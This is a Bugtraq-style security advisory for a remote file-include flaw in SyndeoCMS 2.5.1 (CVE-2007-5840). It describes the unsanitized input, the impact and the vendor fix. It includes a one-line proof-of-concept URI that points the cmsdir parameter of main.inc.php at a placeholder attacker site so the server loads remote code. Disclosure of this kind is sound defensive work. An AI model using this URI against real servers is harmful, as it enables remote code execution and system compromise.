SyndeoCMS MAIN.INC.PHP Remote File Include Vulnerability

Bugtraq ID:	26321
Class:	Input Validation Error
CVE:	CVE-2007-5840
Remote:	Yes
Local:	No
Published:	Nov 04 2007 12:00AM
Updated:	Dec 18 2007 08:05PM
Credit:	Mdx is credited with the discovery of this vulnerability.
Vulnerable:	SyndeoCMS SyndeoCMS 2.5.1
Not Vulnerable:

SyndeoCMS MAIN.INC.PHP Remote File Include Vulnerability

SyndeoCMS is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

SyndeoCMS 2.5.01 is vulnerable; other versions may also be affected.

SyndeoCMS MAIN.INC.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.ccom/[path]/starnet/themes/c-sky/main.inc.php?cmsdir=http://attacker's site

SyndeoCMS MAIN.INC.PHP Remote File Include Vulnerability

Solution:
The vendor released a fix to address this issue. Please see the references for more information.

SyndeoCMS MAIN.INC.PHP Remote File Include Vulnerability

References:

• C-Sky important fix. (SyndeoCMS)
  
• SyndeoCMS Home Page (SyndeoCMS)